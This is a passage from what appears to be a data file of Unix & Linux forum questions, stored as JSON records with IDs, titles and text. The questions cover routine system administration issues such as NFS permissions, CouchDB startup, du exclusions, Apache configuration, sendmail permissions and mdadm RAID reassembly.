with `nosuid` (they're Solaris 11 IPS repositories). Now I need to modify my regex to exclude a known mount... To provide a point of reference, here's some sample output from `mount -v`: $ mount -v /dev/dsk/c1t0d0s0 on / type ufs read/write/setuid/devices/rstchown/intr/largefiles/logging/xattr/onerror=panic/dev=840000 on Fri Sep 6 12:10:35 2013 /devices on /devices type devfs read/write/setuid/devices/rstchown/dev=4c00000 on Fri Sep 6 12:10:25 2013 ctfs on /system/contract type ctfs read/write/setuid/devices/rstchown/dev=4c80001 on Fri Sep 6 12:10:25 2013 proc on /proc type proc read/write/setuid/devices/rstchown/dev=4c40000 on Fri Sep 6 12:10:25 2013 mnttab on /etc/mnttab type mntfs read/write/setuid/devices/rstchown/dev=4cc0001 on Fri Sep 6 12:10:25 2013 swap on /etc/svc/volatile type tmpfs read/write/setuid/devices/rstchown/xattr/dev=4d00001 on Fri Sep 6 12:10:25 2013 objfs on /system/object type objfs read/write/setuid/devices/rstchown/dev=4d40001 on Fri Sep 6 12:10:25 2013 sharefs on /etc/dfs/sharetab type sharefs read/write/setuid/devices/rstchown/dev=4d80001 on Fri Sep 6 12:10:25 2013 /usr/lib/libc/libc_hwcap1.so.1 on /lib/libc.so.1 type lofs read/write/setuid/devices/rstchown/dev=840000 on Fri Sep 6 12:10:31 2013 fd on /dev/fd type fd read/write/setuid/devices/rstchown/dev=4f00001 on Fri Sep 6 12:10:35 2013 swap on /tmp type tmpfs read/write/setuid/devices/rstchown/xattr/dev=4d00002 on Fri Sep 6 12:10:38 2013 swap on /var/run type tmpfs read/write/setuid/devices/rstchown/xattr/dev=4d00003 on Fri Sep 6 12:10:38 2013 /dev/dsk/c1t0d0s7 on /export/home type ufs read/write/setuid/devices/rstchown/intr/largefiles/logging/xattr/onerror=panic/dev=840007 on Fri Sep 6 12:10:44 2013 sample-ips:/ips/blargSolaris11.1 on /blargSolaris11.1 type nfs remote/read/write/setuid/devices/rstchown/soft/xattr/dev=8c00001 on Tue Sep 10 12:07:46 2013 I had tried modifying the regex to exclude the IP's mount based on matching the mount at the beginning of the line like this: `^(.*|[^sample])[\\ \\t]+type[\\ \\t]+nfs(?![\\ \\t]+.*\\b(?:nosuid|nosetuid)\\b).*` But it's not working..."} {"_id": "86220", "title": "couchdb doesn't start", "text": "I installed couchDB under Sabayon with help of Rigo and followed this instruction ( http://guide.couchdb.org/draft/source.html ): xyz@wp01 ~ $ su Password: wp01 xyz # chown -R couchdb:couchdb /etc/couchdb wp01 xyz # chown -R couchdb:couchdb /var/lib/couchdb wp01 xyz # chown -R couchdb:couchdb /var/log/couchdb wp01 xyz # chown -R couchdb:couchdb /var/run/couchdb chown: cannot access \u2018/var/run/couchdb\u2019: No such file or directory wp01 xyz # chmod -R 0770 /etc/couchdb wp01 xyz # chmod -R 0770 /var/lib/couchdb wp01 xyz # chmod -R 0770 /var/log/couchdb wp01 xyz # chmod -R 0770 /var/run/couchdb chmod: cannot access \u2018/var/run/couchdb\u2019: No such file or directory $ sudo -i -u couchdb couchdb -b Password: Sorry, user xyz is not allowed to execute '/sbin/nologin -c couchdb -b' as couchdb on wp01. What did I do wrong?"} {"_id": "92393", "title": "USB hard drive boot problem", "text": "I have a HP Probook 4525s laptop with Windows 7 and Ubuntu installed on it and an external USB Toshiba hard disk(320GB); I've tried to install for several times various linux distros on the USB HD (Ubuntu, Backtrack, Suse 11, Scientific Linux) but I have problems booting it. The instalation went well but, when it comes to boot the external HD, everything stops to a dash blinking forever on a black background. I've tried changing the boot order and manually select the booting device but doesn't solve the problem. If I remove the external HD when the dash blinks, the laptop boots the internal HD and I get the ubuntu boot menu. I've tried booting from other computers and everything works fine, so it seems that my machine has a problem. What should I do in this case? Any suggestion may be useful."} {"_id": "73018", "title": "Can't open Gajim", "text": "When I try to open Gajim using terminal on gnome I get the following: Traceback (most recent call last): File \"gajim.py\", line 106, in import common.configpaths File \"/usr/share/gajim/src/common/configpaths.py\", line 27, in import tempfile File \"/usr/lib64/python2.6/tempfile.py\", line 34, in from random import Random as _Random File \"/usr/lib64/python2.6/random.py\", line 47, in from os import urandom as _urandom ImportError: cannot import name urandom Any idea how to fix this? My OS is Mandriva 2010.1, Python is v2.6 upgraded from v2.4"} {"_id": "73019", "title": "Default directory permissions over NFS", "text": "I have two servers, `client` and `server` in fairly obvious roles: `server` hosts the NFS share and `client` has it mounted. There is a shared group among several users on `client` called `shared` which also exists on `server`. My permissions on `server` for the share look like this: user@server $ ls -al /export/share/ drwxrwsr-x+ 3 shared shared 4096 Apr 19 01:25 . drwxr-xr-x 3 root root 4096 Apr 12 20:10 .. The goal is pretty clearly displayed, I'd like all members of the `shared` group to be able to create, write, and delete files in this directory. On client, a `ls -la` of the mounted directory leads the same results. The NFS exports file on `server` looks like this: /export/share 10.0.0.0/24(rw,nohide,insecure,no_subtree_check,async) The mount on `client` in `/etc/fstab` looks like this: 10.0.0.1:/export/share /mnt/share nfs _netdev,noatime,intr,auto 0 0 The output of `mount` from `client`: 10.0.0.1:/export/share on /mnt/streams type nfs (rw,noatime,intr,vers=4,addr=10.0.0.1,clientaddr=10.0.0.2) However, I still can't seem to be able to create files in that directory using a user in the group. For instance, a user `jack`: user@server $ id jack uid=1001(jack) gid=1001(jack) groups=1001(jack),1010(shared) If I try touching a file in the mounted folder on `client`, permission is denied: user@client $ sudo -u jack touch /mnt/share/a touch: cannot touch `/mnt/share/a': Permission denied Why isn't this working as expected? Shouldn't I be able to create files and folders as `jack` in this folder since he's a member of the `shared` group?"} {"_id": "114172", "title": "how to open player in html if in /usr/bin location?", "text": "My VLC player is in `/usr/bin` but I don't know how to link it to embed it in a page."} {"_id": "114177", "title": "How to restore folders to their original destination using duplicity?", "text": "After performing a backup of a couple of directories like so: # duplicity\\ --exclude /home/user/Documents/test1/file\\ --include /home/user/Documents/test1\\ --include /tmp/test2\\ --exclude '**'\\ / file:///home/user/Backup I wanted to test how the restoration works by deleting the backed up directories: # rm -rf /home/user/Documents/test1 /tmp/test2 And then, restoring the backup, # duplicity file:///home/user/Backup / But I got the error, Restore destination directory / already exists. Will not overwrite. So it appears that I can't restore to the original destination without emptying the root folder even though the destination of these included folders have already been cleared. Is there a better way than to restore it to another location and then moving each folder one by one? # duplicity --file-to-restore home/user/Documents/test1 file:///home/user/Backup /home/user/Restore1 # mv /home/user/Restore1/home/user/Documents/test1 /home/user/Documents/test1 # duplicity --file-to-restore tmp/test2 file:///home/user/Backup /home/user/Restore2 # mv /home/user/Restore2/tmp/test2 /tmp/test2"} {"_id": "114178", "title": "Finding all .cpp and .h files and moving them to ~/junk", "text": "I created a folder on my home directory call junk, and let's say I want to move all .cpp and .h files to it. How would I do it? My first thought is to start with find ~ -name *.cpp -print, but I don't know how to put in multiple patterns into the find argument, and I'm fairly lost after that."} {"_id": "35623", "title": "How do I convert a MKV file to H.264/AVC with a resolution of 640x360 using FFMPEG?", "text": "I have a MKV video which I want to put in my mobile (a Nokia XM 5800) and based on this I can play H.264/AVC format videos on it. Based on what I have read, the container should be MP4 and I can encode it using XVID codec. The problem is I don't know how. Since I am using Linux (Arch), I was wondering if I can achieve this using FFMPEG. If so, please enlighten me on how to do this. I want the video to use the native screen size of the device, 640x360, with a reasonably good video and audio quality. If you can also suggest other tools that will make it easier, please suggest. I also prefer command line tools over GUI ones."} {"_id": "35624", "title": "How to run Dropbox daemon in background?", "text": "I'm using Debian 6 and Dropbox. I followed these commands to install it. When I run `~/.dropbox-dist/dropboxd` \u2014 Dropbox works and stuff. Problem is that when I close terminal or, even worse, \u2014 reboot... Dropbox stops to work and I need to run that deamon again. Are there any way I say to computer to automatically start that daeamon in background?"} {"_id": "35627", "title": "Pushdown Terminal Output", "text": "Is there a standard way to reverse the output order of a terminal output, ie: ~/Developer $ command0 -bash: comman0: command not found ~/Developer $ command2 -bash: command2: command not found ~/Developer $ command3 -bash: command3: command not found ~/Developer $ would be displayed as: ~/Developer $ -bash: command3: command not found ~/Developer $ command3 -bash: command2: command not found ~/Developer $ command2 -bash: comman0: command not found ~/Developer $ comman0 I feel always having your prompt at the bottom is counter intuitive a more effective way of presenting the output woud be to reverse the output order. How might I go about implementing this? Specifically where output portion of the OSX terminal program defined?"} {"_id": "23692", "title": "Using --exclude with the du command", "text": "This is probably something basic but I'm not able to make it work. I'm trying to use DU to get a total size of files minus certain directories. I need to exclude one specific directory called `uploads` but not every directory called `uploads`. For example, my file structure looks a bit like this: /store /uploads /junk_to_ignore /more_junk_to_ignore /user_one /uploads /user_two I can run the following command: du -ch --exclude=uploads* and it gives me the file size minus all the \"uploads\" directories. However, in trying to exclude certain directories (and all its sub-directories) I fail. I've tried variations of: du -ch --exclude=./uploads* du -ch --exclude='/full/path/to/uploads/*' but can't seem to figure it out. How do I exclude a specific directory?"} {"_id": "32931", "title": "Eclipse error on opening: Linux Mint 12", "text": "I've installed Eclipse with the command: sudo apt-get install eclipse or when I install via the synaptic manager. Unfortunately, when I open up Eclipse I get this error: org.eclipse.ui.PartInitException: No editor descriptor for id org.eclipse.jdt.ui.CompilationUnitEditor at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:601) at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:465) at org.eclipse.ui.internal.WorkbenchPartReference.getPart(WorkbenchPartReference.java:595) at org.eclipse.ui.internal.EditorAreaHelper.setVisibleEditor(EditorAreaHelper.java:271) at org.eclipse.ui.internal.EditorManager.setVisibleEditor(EditorManager.java:1459) at org.eclipse.ui.internal.EditorManager$5.runWithException(EditorManager.java:972) at org.eclipse.ui.internal.StartupThreading$StartupRunnable.run(StartupThreading.java:31) at org.eclipse.swt.widgets.RunnableLock.run(RunnableLock.java:35) at org.eclipse.swt.widgets.Synchronizer.runAsyncMessages(Synchronizer.java:135) at org.eclipse.swt.widgets.Display.runAsyncMessages(Display.java:3563) at org.eclipse.swt.widgets.Display.readAndDispatch(Display.java:3212) at org.eclipse.ui.application.WorkbenchAdvisor.openWindows(WorkbenchAdvisor.java:803) at org.eclipse.ui.internal.Workbench$33.runWithException(Workbench.java:1595) at org.eclipse.ui.internal.StartupThreading$StartupRunnable.run(StartupThreading.java:31) at org.eclipse.swt.widgets.RunnableLock.run(RunnableLock.java:35) at org.eclipse.swt.widgets.Synchronizer.runAsyncMessages(Synchronizer.java:135) at org.eclipse.swt.widgets.Display.runAsyncMessages(Display.java:3563) at org.eclipse.swt.widgets.Display.readAndDispatch(Display.java:3212) at org.eclipse.ui.internal.Workbench.runUI(Workbench.java:2604) at org.eclipse.ui.internal.Workbench.access$4(Workbench.java:2494) at org.eclipse.ui.internal.Workbench$7.run(Workbench.java:674) at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:332) at org.eclipse.ui.internal.Workbench.createAndRunWorkbench(Workbench.java:667) at org.eclipse.ui.PlatformUI.createAndRunWorkbench(PlatformUI.java:149) at org.eclipse.ui.internal.ide.application.IDEApplication.start(IDEApplication.java:123) at org.eclipse.equinox.internal.app.EclipseAppHandle.run(EclipseAppHandle.java:196) at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:110) at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:79) at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:344) at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:179) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:616) at org.eclipse.equinox.launcher.Main.invokeFramework(Main.java:622) at org.eclipse.equinox.launcher.Main.basicRun(Main.java:577) at org.eclipse.equinox.launcher.Main.run(Main.java:1410) Has anyone else seen this issue?"} {"_id": "23695", "title": "How to update Debian kernel to latest in backports", "text": "I have a machine running Debian stable, and I'd like to update the stock kernel to the latest kernel available in the backports repository. There are many kernel-related packages and virtual packages--what is the right way to do this and get the appropriate packages upgraded?"} {"_id": "93625", "title": "Low-level bluetooth utility", "text": "What's a bluetooth utility for Linux that will let me pair and unpair devices, display messages coming from a device, send messages to a device (hopefully done using the filesystem!), and set any available flags? The application in mind is that I just want to have say 10 tiny bluetooth keyboards and map each key on each keyboard to send a MIDI message (obviously the midi part is not part of this OP)."} {"_id": "23698", "title": "What is a subshell (in the context of the documentation of make)?", "text": "I'm reading a book about the `make` command and there is a paragraph: > If any of the prerequisites has an associated rule, make attempts to update > those first. Next, the target file is considered. If any prerequisite is > newer than the target, the target is remade by executing the commands. Each > command line is passed to the shell and is executed in its own subshell. Could you explain the concept of subshell used there and why is it necessary to use such a subshell?"} {"_id": "56628", "title": "how do I decrease font size in Eclipse (Linux Mint)", "text": "How do I decrease the font size of tabs' title bar (see screenshot )? I use Eclipse Mobile Juno, and Linux Mint 13 Mate. I tried both going to Eclipse Preferences and Mate preferences. The mate preferences worked but only the font family changed, the size did not."} {"_id": "56623", "title": "Debian Linux is not starting because no bootable device was found", "text": "I have installed Debian with the Gnome Live CD on my notebook. Because there are still some applications which I need, it was necessary that I also have a Windows 7 system installed. Based on some tutorials I installed Windows 7 first and then Debian. After the Debian Installer from the live cd was finished, I tried to reboot my notebook. Directly after the BIOS screen I see the output that no BootDevice was found. The output of `fdisk -l` is: Device Boot Start End Blocks Id System /dev/sda1 1 13 102400 7 HPFS/NTFS Partition 1 does not end on cylinder boundary. /dev/sda2 13 4961 39743488 7 HPFS/NTFS /dev/sda3 4961 15567 85186561 5 Extended /dev/sda5 * 4961 15131 81689600 83 Linux /dev/sda6 15131 15567 3495936 82 Linux swap / Solaris According to the partition table, my Linux partition should be bootable, but I cannot start Windows 7 or Debian."} {"_id": "153552", "title": "Linux RDP with audio and mic", "text": "I've been trying to establish an RDP conexion with a Windows 7 machine from Linux with sound AND microphone redirection, I have tried rdesktop, remmina and freerdp with no use. Finally, with freerdp I have finally managed to get sound and microphone redirection but from different sessions. I mean `xfreerdp -u user -d domain -p password --plugin drdynvc --data audin -- server` Allows me to send the microphone to the remote machine. `xfreerdp -u user -d domain -p password --plugin rdpsnd --data pulse -- server` Allows me to get the sound from the remote machine, but I can't manage to get both within the same session. Any ideas?"} {"_id": "56624", "title": "Use of variables in Apache configuration", "text": "I have a number of largely identical configuration files in my Apache2 configuration, for configuring various subdomains. In most of these configuration files, only the name of the subdomain itself is different from the other files and thus I am trying to figure out if it is possible to set some sort of variable at the top of the config file to easily set things like `ServerName`, `DocumentRoot`, `ErrorLog`, `CustomLog` A bit like (which obviously doesn't work): subdomain=blog ServerAdmin webmaster@localhost ServerName ${subdomain}.example.com DocumentRoot /var/www/${subdomain}.example.com/htdocs # Possible values include: debug, info, notice, warn, error, crit, alert, emerg. LogLevel warn ErrorLog /var/log/apache2/${subdomain}.example.com_error.log CustomLog /var/log/apache2/${subdomain}.example.com_access.log combined RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} An even smarter solution would be if the `subdomain` variable can be set through a regex from filename of the configfile. I did find Dynamically configured mass virtual hosting, but it just doesn't describe exactly what I want. Running Apache 2.2 on Linux."} {"_id": "56625", "title": "Diff, show modified line from right file only", "text": "I have file `a` and `b` and I would like to output lines of `b` that changed since it was cloned from `a`. Just the modified lines, no surrounding context, no diff offset marks. How can I do that using shell scripting? (No Python/Perl/PHP/...) Sed and awk are acceptable solutions. For now, what I am doing is diff -y with --suppress-common-lines and sed using regex backreferences to just fetch the right part after the whitespace. There must be a better way? Using perl (which is forbidden), I\u00b4d do something like this: diff -y --suppress-common-lines -W $COLUMNS Eclipse_Preferences_Export_*.epf | perl -pe 's/.*\\t|\\t(.*)$/\\1/g'"} {"_id": "145058", "title": "Lots of traffic between servers - where does it come from?", "text": "We have ten servers in two groups servers, and there is a lot of traffic between those groups - too much we think. We know this because of stats of our provider, but don't know how this traffic is built up, and which servers cause this. There is no cluster or failover or anything - each server stands on its own. I would like to know which server(s) causes this traffic, but don't know how I can monitor this. What program or service can do this? Preferably it could monitor all local network traffic, in 10.x.x.x ip range."} {"_id": "145051", "title": "/usr/sbin/sendmail: Permission denied", "text": "I am trying to setup the mail on my fedora 20. Every time I try to fire a test mail it tells me the permission is denied on `/usr/sbin/sendmail`. I checked the permissions and this is the output: [root@localhost uone]# ls -ld /usr/sbin/sendmail drwxr-sr-x. 2 uone uone 4096 Jun 14 17:42 /usr/sbin/sendmail when I check the logs in `/var/logs/mail`, I get this [root@localhost uone]# ls /var/log/maillog /var/log/maillog and [root@localhost home]# cat /var/log/maillog [root@localhost home]# Running `ls -l` gives me this [root@localhost home]# ls -l /var/log/maillog -rw-------. 1 root root 0 Jul 6 11:27 /var/log/maillog Doing a `ls -l` on sendmail directory gives me this [root@localhost sbin]# ls -l | grep sendmail drwxr-sr-x. 2 uone uone 4096 Jun 14 17:42 sendmail lrwxrwxrwx. 1 root root 15 Jul 12 19:04 sendmail.ssmtp -> /usr/sbin/ssmtp **I have two questions:** 1. Am I missing something in setting up the \"mail\"? Is there anything else I need to do before I can try sending a mail? 2. How can I get the logs to find out exactly what's happening?"} {"_id": "40150", "title": "How to make a program which run from shell still live after close terminal?", "text": "> **Possible Duplicate:** > How do I prevent a script from terminating when the shell exits? I use gnome-terminal, and I run `emacs` under the terminal in the background by executing `emacs &`, but after I close the terminal, `emacs` is also closed. How can I avoid this behavior? I know that `emacs` is a child process of the shell."} {"_id": "25693", "title": "Grep a directory and return list with line numbers", "text": "I'm currently trying to learn more about bash scripting and all of that fun stuff, and I pieced together this little command: find $path | xargs grep -n $pattern | awk '{print $1}' While this DOES work, I was wondering if I was reinventing the wheel. Is there a better way to search through a directory, grep the files for a pattern, and return a list with line numbers? Sorry in advance if this is an inappropriate/off-topic place to post this question."} {"_id": "145052", "title": "Thunderbird: new email notification not working properly", "text": "I have set up \"new email notification\" in my Thunderbird, both \"Show an alert\" and \"Play a sound\", as shown below. But now I am experiencing strange problems. The sound only works sometimes. Then, I close Thunderbird and start again, and there is 50% chance that the sound will not work. If I keep restarting Thunderbird, eventually the sound will start to work again. The `wav` file exists, when I click on `Play` I can hear the sound. ![enter image description here](http://i.stack.imgur.com/6tgZh.png) I have a suspicion, this problem might be connected to the fact, that I have two Thunderbird Profiles which I am using simultaneously. Sometimes the Notification works in both, sometimes in one only. The problem is with both the sound notification and the \"Show an Alert\" notification. I use following commands to start the two profiles, respectively: icedove -P \"default\" icedove -P \"second\" -no-remote The problem with the notification happens in a non-deterministic way. Even when only one profile is running, the notifications might not work (thus, the problem is not caused by one instance \"blocking\" the device/resource). How could I fix this problem? New mail notifications are crucial for my workflow. This problem is critical for me. I am using Thunderbird (Icedove) 24.6.0 # UPDATE: I did some further troubleshooting: When I am monitoring access to the `wav` file using `inotify`, I see that upon new message, no process is attempting to open `new_mail.wav`: while inotifywait new_mail.wav ; do echo \"$(date +%T) inotify event\" ; done When I click on the `Play` button however, the sound actually plays, I and get the inotify events as well. This looks like some bug in Thunderbird, where an event (new email) is not properly recognized and acted upon."} {"_id": "145057", "title": "sed + remove the first directory from path", "text": "Please advise on how to remove the first directory from a path by `sed`, (the inverse pf what `basename` does). For example echo \"/mnt/VPfig/Amer/AR4/Celtel/files/COM.txt\" | sed ... I should get: /VPfig/Amer/AR4/Celtel/files/COM.txt"} {"_id": "25696", "title": "Insert after a second pattern in sed", "text": "I'm using sed to edit a text file. The command: sed -n -e '/pattern1/,/pattern2/p' test01.txt show the lines between pattern1 and pattern2. But how can I insert a new line after this `pattern2`? my sed version don't admit \"i\\\" for line-command edition. I'm running a FreeBSD port."} {"_id": "23969", "title": "Delete matching file from every subfolder of current dir", "text": "I used this one to copy file in every dir: find -type d -maxdepth 1 -print0 | xargs -0 -n1 cp .htaccess Now i need to do reverse one and delete file with matching name from every sub directory of one i am currently in"} {"_id": "118676", "title": "How to regain control of my computer?", "text": "I am running a database server on my computer. Sometimes it takes up so much memory resources that the system stop responding to keyboard and mouse inputs. Although I can move the mouse pointer and turn on and off `Caps Lock`, I can't do anything else beyond that. Surprisingly, I am able to `SSH` to the computer, run the `top` command, kill a few processes and shutdown the database server to reclaim memory space. But even having done those things, the display remains in a semi-frozen state (mouse still animated). Having reclaimed most of my memory, is it possible to regain usage of the system without having to reboot?"} {"_id": "23961", "title": "How do I exit a script in a conditional statement?", "text": "I'm writing a bash script where I want to exit if the user is not root. The conditional works fine, but the script does not exit. [[ `id -u` == 0 ]] || (echo \"Must be root to run script\"; exit) I've tried using `&&` instead of `;` but neither work."} {"_id": "104272", "title": "mutt: trash folder", "text": "I am trying to set up `trash` in mutt. The macro at MacroSamples does not work: set maildir_trash=yes set wait_key=no folder-hook . 'bind index q quit' folder-hook inbox 'macro index q \":unset maildir_trash;push \\\"T~D\\\\nm=trash\\\\n\\\"\\n\"' when I press `d` nothing happens. When I pres `q` instead of exiting, mutt asks: Subject: I have to cancel it with `CTRL-c` Can somebody please advise how to set up `trash folder` that actually works?"} {"_id": "74790", "title": "Nemo: Forget encryption password", "text": "I have mounted an encrypted disk by selecting it in Nemo (1.1.2), then typing a password. I can unmount the disk using Nemo, but now it can be remounted without requiring the password. Probably there was a \"remember\" option such as demonstrated in this question. Regardless of what I selected when I initially mounted, now **I want Nemo to forget the password**. Is there a way to do this aside from logging out? _This question may also apply to Nautilus (Nemo is a fork)._"} {"_id": "23964", "title": "Why is redirecting STDERR to /dev/null done this way?", "text": "This does not make sense to me. wibble > /dev/null 2>&1 I think it would make more sense if it was something like this: wibble 2>&1 > /dev/null In other words Commands Output Sendall STDERRORS to STDOUT then SEND it all to /dev/null What is the thinking behind the order of the command redirection `xxx > /dev/null 2>1`?"} {"_id": "74794", "title": "Why is dnsmasq putting my router IP in /etc/resolv.conf instead of 127.0.0.1?", "text": "I'm having DNS resolution issues in various contexts which appear to trace back to my networking configuration. I'm running just the dnsmasq-base installation of dnsmasq on two Linux installations (Lubuntu 12.04 and 12.10). I haven't done anything in particular to configure dnsmasq, but I think some other changes I made previously may have lead to an incorrect configuration when upgrading. The working configuration on machine 'A' running 12.04 sets `/etc/resolv.conf` to use 127.0.1.1 (which in `/etc/hosts` is set to `$HOSTNAME`) On machine 'B' where certain applications such as OpenVPN experience DNS resolution issues, `/etc/resolv.conf` is set to 192.168.1.1, which is my gateway IP. Only certain applications are affected. Web-browsing, for example, works just fine. Any idea if this difference is the cause of the DNS resolution issues, and why 'B' is behaving differently? Edits: Both 'A' and 'B' are running dnsmasq, both are using DHCP to get DNS configuration, and I'm only using dnsmasq for DNS. There is no /etc/dnsmasq.conf file. I understand that this is normal when running just dnsmasq-base. The contents of /etc/resolvconf on the two machines appear to be identical. No extraneous/missing files. Sorry I can't be more specific about the nature of the problem. \"DNS resolution issue\" was the end-point of my discussion with technical support at my VPN provider."} {"_id": "128404", "title": "Can I switch to another process in another tty# terminal from an ssh terminal?", "text": "Here's the deal. I have a Linux Mint 15 server running a web server, an ssh server, and a minecraft server. When I go back to college after the summer, I want to leave my machine at home (6 hrs away) and just ssh in when I need to do things. I use the tty1 terminal to execute the minecraft server (always), and it constantly prints log info and accepts input from the server (this can change things in game, edit and reload the whitelist, and a few other things). So, is there a way for me to legitimately (or even by \"hacking\") ssh into my computer and then take control of another tty# terminal and inject my own commands into a process it is running as well as view that process's output?"} {"_id": "27279", "title": "How to create /dev/null?", "text": "I successfully deleted my /dev/null. How can I restore it? The OS is Ubuntu."} {"_id": "61298", "title": "Cannot kill a java process", "text": "I have a java process that cannot be killed. I have tried every method I know, or that I have found on the internet to no avail. I have tried: killall java kill -9 kill -11 kill -6 No matter what I try, I cannot kill the program. If this helps, it has a dynamic PID, and this has happened before and I somehow killed it last time."} {"_id": "128471", "title": "Determine what device a directory is located on", "text": "If I do # cd / # ln -s /home test # cd test # mount --bind $PWD /mnt the entry in `/proc/mounts` is /dev/sda2 /mnt ext4 rw,noatime,data=ordered 0 0 which is the device that is mounted to `/home` and is not easily deducible from `$PWD` which is `/test`. How can I determine which device (i.e., /dev/sda2) is going to show up in `/proc/mounts` in general given that the bind mount may be to a directory/file that is potentially \"obscured\" by symlinks, other bind mounts, etc?"} {"_id": "78949", "title": "What disk is a file / directory stored on?", "text": "From the command line (bash) I would like to know what disk a given file is stored in. E.G.: $ [what filesystem is this file in command] /tmp/example/file /dev/sda1"} {"_id": "27275", "title": "How to configure OpenVPN to only listen on given interface?", "text": "How can I configure an OpenVPN server on a Linux machine to only listen on given interfaces? Are there any features like this in OpenVPN?"} {"_id": "27274", "title": "How to build a monitoring system with an infra cam?", "text": "I need to place 2 USB (?) webcams that are looking at two doors. No sound needed, just a few things: * video files must be saved at least for 30 days (I have two eee pc's for the two webcams, so cable length doesn't matter) * video quality must be good enough [@night too! - infra cam needed] * timestamp on the video image I have a netbook that can do the recording. OS: **OpenBSD**"} {"_id": "27277", "title": "How to turn off screen under Linux/BSD?", "text": "How can I turn off my laptops screen from software side? ex.: under Scientific-linux, OpenBSD? Or the best I can do from OS side is just to show a black picture? Are there any solutions?"} {"_id": "27276", "title": "How to get a process uptime under different OS?", "text": "Under Linux I can get a process's uptime in seconds with: echo $(($(cut -d \".\" -f1 /proc/uptime) - $(($(cut -d \" \" -f22 /proc/$PID/stat)/100)))) But how can I get it under different OS? ex.: SunOS, HP-UX, AIX?"} {"_id": "25527", "title": "How to follow (a la \"tail -f\") a binary file from the beginning?", "text": "Is it possible to follow a binary file from the beginning, a la `tail -f`? This is useful in some cases, for example if I'm `scp`ing a file to a remote server, and at the same time I want to feed it to another process (yes, I know I can use `ssh`+`cat` tricks). As far as I read from the FM, `tail` is written having text files in mind. Is there any simple way of doing such operations using standard posix tools?"} {"_id": "25523", "title": "No, I don't want persistent net rules", "text": "I have a bootable Linux memstick that I use on a lot of different PCs (but all of the same model and configuration). Trouble is that udev is renaming the eth interfaces so that what was `eth0` on the last PC is suddenly ethX, where X=1..inf. This causes if-up (called by ifplugd) to fail, since `/etc/network/interfaces` only specifies how to bring up `eth0`: auto eth0 iface eth0 inet dhcp It's a well-known problem; I've googled and found that this is caused by the MAC addresses changing and that it may be fixed by deleting `/etc/udev/rules.d/70-persistent-net.rules`. But that only works after a reboot, which is inconvenient and should be unneccessary, since I know what behaviour I want. What I want is _non-persistent_ net rules, or in the alternative, an `/etc/network/interfaces` script that adapts to the changing eth names, or perhaps it can be done with ifplugd. What's the best way to achieve this? Distro: Ubuntu 8.04."} {"_id": "25520", "title": "How to save the results from ls to a command?", "text": "I want the results from an ls to be saved in a var inside a makefile the command is simply the following: ls text* and the result suppose to be something like : text1.txt What i put in my script is: text = some commands to fetch the \"text\" . com = `ls $(text)*` What is actually saved at $com is the results of the entire ls without the $(text)* parameter."} {"_id": "190", "title": "How was the shift to 64 bits handled on Linux", "text": "How was the transition to 64 bits handled on Linux/Unix? The Windows world still seems to have issues with it and I'm curious how it was handled in the *nix world."} {"_id": "25528", "title": "Is creating a sparse image using dd appropriate for backup/restore from a RAID?", "text": "I have two non-networked servers, each with 1.2TB of storage in a RAID5 config on an LSI MegaRaid 9240-8i controller. I have been trying without success to get Symantec Ghost to image one machine to the other due to driver issues, and so I was wondering if it wouldn't be easier to boot from a Linux LiveCD, plug in an external hard disk and `dd` the RAID partition to the external disk. The 1.2TB partition only has around 10GB of data on it, so I hope to generate a sparse image file (to avoid having to find a 1.2TB USB disk!). I have seen people use the `seek` parameter of `dd` to achieve this - is that an appropriate way to create an image of around 10GB size in this situation? Even if this is a sensible way to generate a sparse image, is this a sensible way to mirror one RAID to another of identical configuration, or do the commercial utilities such as Ghost and Acronis do some 'magic' that `dd` does not?"} {"_id": "74241", "title": "emacs elpa load packages", "text": "I am using `emacs24`, and I started using `elpa` to download the packages to `~/.emacs.d/elpa` folder. How can I load these packages? For instance, I have tried (see below) for `rainbow-delimiter` but it doesn't work. I have tried commenting out a few lines and keeping others but nothing sticks. ;; Paren checking (add-to-list 'load-path \"~/.emacs.d/elpa/\") (require 'rainbow-delimiters) (autoloads (global-rainbow-delimiters-mode rainbow-delimiters-mode-enable rainbow-delimiters-mode) (global-rainbow-delimiters-mode) (add-hook 'prog-mode-hook 'rainbow-delimiters-mode) ;(add-hook 'emacs-lisp-mode-hook 'paredit-mode) (add-hook 'emacs-lisp-mode-hook 'rainbow-delimiters-mode)"} {"_id": "146628", "title": "Reassemble mdadm-raid5", "text": "A friend of mine has a mdadm-raid5 with 9 disks which does not reassemble anymore. After having a look at the syslog I found that the disk sdi was kicked from the array: Jul 6 08:43:25 nasty kernel: [ 12.952194] md: bind Jul 6 08:43:25 nasty kernel: [ 12.952577] md: bind Jul 6 08:43:25 nasty kernel: [ 12.952683] md: bind Jul 6 08:43:25 nasty kernel: [ 12.952784] md: bind Jul 6 08:43:25 nasty kernel: [ 12.952885] md: bind Jul 6 08:43:25 nasty kernel: [ 12.952981] md: bind Jul 6 08:43:25 nasty kernel: [ 12.953078] md: bind Jul 6 08:43:25 nasty kernel: [ 12.953169] md: bind Jul 6 08:43:25 nasty kernel: [ 12.953288] md: bind Jul 6 08:43:25 nasty kernel: [ 12.953308] md: kicking non-fresh sdi from array! Jul 6 08:43:25 nasty kernel: [ 12.953314] md: unbind Jul 6 08:43:25 nasty kernel: [ 12.960603] md: export_rdev(sdi) Jul 6 08:43:25 nasty kernel: [ 12.969675] raid5: device sda operational as raid disk 0 Jul 6 08:43:25 nasty kernel: [ 12.969679] raid5: device sdj operational as raid disk 8 Jul 6 08:43:25 nasty kernel: [ 12.969682] raid5: device sdh operational as raid disk 6 Jul 6 08:43:25 nasty kernel: [ 12.969684] raid5: device sdg operational as raid disk 5 Jul 6 08:43:25 nasty kernel: [ 12.969687] 